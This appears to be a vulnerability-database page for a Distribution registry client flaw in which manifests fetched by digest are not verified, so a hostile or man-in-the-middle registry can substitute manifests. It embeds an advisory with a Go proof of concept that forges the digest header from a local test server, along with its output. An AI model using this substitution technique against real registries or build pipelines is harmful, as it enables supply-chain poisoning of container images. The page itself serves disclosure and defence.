CVE-2026-85747

mediumpriority · track · 0EPSS 0.002 · 12 %ileFRUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.22% (12th) EPSS
CVSS 6.8 · medium
Is it mine?
3 products
Check your exposure
Who says so?
2 sources
osv · certfr

EPSS · scored 2026-10-27

Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.2, registry/client.(*manifests).Get() reads a manifest returned for a digest-pinned request and passes it to distribution.UnmarshalManifest without hashing the body against the requested digest, allowing a malicious or intercepted registry response to substitute attacker-chosen manifest content even when Docker-Content-Digest claims the requested value. The bundled pull-through proxy in registry/proxy/proxymanifeststore.go can cache and re-serve the substituted manifest. This issue is fixed in version 3.1.2.

01

cvss

Technical severity, 0–10. One row per scoring source.

6.8
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.16.8mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:Nsecondary · security-advisories@github.comexploitability 2.2 · impact 4
v3.16.8mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:Nsecondary · OSV
v3.16.2mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (3)

Vendor and ecosystem advisories describing this.

  • GHSA-685w-q87j-wqw3Distribution: Client `manifests.Get()` does not verify returned content against requested digest2026-10-15ghsa · osvUS

    ### Summary `registry/client.(*manifests).Get(ctx, dgst, …)` fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity — image policy controllers, mirrors, pull-through caches — is silently undermined. The bundled pull-through proxy (`registry/proxy/proxymanifeststore.go`) is itself an unguarded consumer and is directly exploitable. ### Details **Root cause:** `registry/client/repository.go:488-505` reads the response body and passes it directly to `distribution.UnmarshalManifest` without ever computing `digest.FromBytes(body)` and comparing against the caller-supplied `dgst`. The `Docker-Content-Digest` response header is parsed (lines 251-292 in `descriptorFromResponse`) only to populate an out-parameter (`ReturnContentDigest`) and is itself server-supplied — it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes. **Attack path:** An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to `GET /v2/{name}/manifests/{digest}` with: 1. `Docker-Content-Digest: <requested-digest>` (forged header) 2. A body containing a different, attacker-chosen manifest The client calls `distribution.UnmarshalManifest` on the substituted body, returns the attacker's manifest as if it were the pinned content, and the caller has no way to detect the substitution. **Why it matters:** The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The `registry/proxy/proxymanifeststore.go:42-87` pull-through cache calls `remoteManifests.Get(ctx, dgst)` and immediately writes the result to local storage with no re-verification — so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers. Relevant code path (`repository.go`, simplified): ```go // line ~496 func (ms *manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) { ... resp, err := ms.client.Get(u) ... body, err := ioutil.ReadAll(resp.Body) // no size limit, no digest check ... m, _, err := distribution.UnmarshalManifest(ct, body) // returns attacker bytes return m, err } ``` ### PoC **go.mod:** ``` module poc go 1.24.10 require ( github.com/distribution/reference v0.6.0 github.com/docker/distribution v2.8.3+incompatible github.com/opencontainers/go-digest v1.0.0 ) require ( github.com/beorn7/perks v1.0.1 // indirect github.com/docker/go-metrics v0.0.1 // indirect github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect github.com/golang/protobuf v1.3.2 // indirect github.com/gorilla/mux v1.8.1 // indirect github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect github.com/opencontainers/image-spec v1.1.1 // indirect github.com/prometheus/client_golang v1.1.0 // indirect github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 // indirect github.com/prometheus/common v0.6.0 // indirect github.com/prometheus/procfs v0.0.3 // indirect github.com/sirupsen/logrus v1.9.4 // indirect golang.org/x/sys v0.13.0 // indirect ) ``` **main.go:** ```go // PoC: registry/client manifests.Get() does not verify the requested digest // against the returned body. A malicious registry (or MITM) can serve // arbitrary content for a digest-pinned manifest reference and the client // will accept it. package main import ( "context" "fmt" "net/http" "net/http/httptest" "github.com/distribution/reference" "github.com/docker/distribution/manifest/schema2" "github.com/docker/distribution/registry/client" "github.com/opencontainers/go-digest" ) // A real, "trusted" manifest the user pinned by digest. var trustedManifest = []byte(`{ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}, "layers": [] }`) // A different, attacker-controlled manifest the malicious server returns instead. var evilManifest = []byte(`{ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"}, "layers": [] }`) func main() { pinnedDigest := digest.FromBytes(trustedManifest) evilDigest := digest.FromBytes(evilManifest) fmt.Println("client requests manifest pinned at:", pinnedDigest) fmt.Println("server will instead return content :", evilDigest) srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Lie: claim the digest matches what was asked, but serve evil bytes. w.Header().Set("Content-Type", schema2.MediaTypeManifest) w.Header().Set("Docker-Content-Digest", pinnedDigest.String()) w.WriteHeader(200) w.Write(evilManifest) })) defer srv.Close() name, _ := reference.WithName("library/alpine") repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport) if err != nil { panic(err) } ms, _ := repo.Manifests(context.Background()) // Fetch by *digest* — caller expects content-addressed integrity. m, err := ms.Get(context.Background(), pinnedDigest) if err != nil { fmt.Println("Get error:", err) return } _, payload, _ := m.Payload() got := digest.FromBytes(payload) if got != pinnedDigest { fmt.Println() fmt.Println(">>> BYPASS: client accepted manifest that does NOT match requested digest") fmt.Println(" requested:", pinnedDigest) fmt.Println(" received :", got) } else { fmt.Println("OK: digest verified") } } ``` **Output (v2.8.3+incompatible):** ``` client requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de server will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e >>> BYPASS: client accepted manifest that does NOT match requested digest requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e ``` ### Impact Any application that calls `registry/client.(*manifests).Get()` with a digest argument — and relies on that digest to guarantee which image content it receives — is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled `registry/proxy`), and any CI/CD tooling that pins images by digest for reproducibility or security. An attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content — changing image layers, entrypoints, or referenced blobs — and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream clients. Exploitation requires either control of the registry endpoint the victim is configured to use, or a MITM/TLS-breaking position on that connection. No authentication is needed beyond whatever the registry normally requires.

  • BIT-distribution-2026-85747Distribution: Client `manifests.Get()` does not verify returned content against requested digest2026-10-20vendor · osvUS

    Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.2, registry/client.(*manifests).Get() reads a manifest returned for a digest-pinned request and passes it to distribution.UnmarshalManifest without hashing the body against the requested digest, allowing a malicious or intercepted registry response to substitute attacker-chosen manifest content even when Docker-Content-Digest claims the requested value. The bundled pull-through proxy in registry/proxy/proxymanifeststore.go can cache and re-serve the substituted manifest. This issue is fixed in version 3.1.2.

  • CERTFR-2026-AVI-1385Multiples vulnérabilités dans les produits VMwareFrançais2026-10-26vendor · certfrFR
06

also known as (2)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-10-13modified 2026-10-18
08

references (3) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan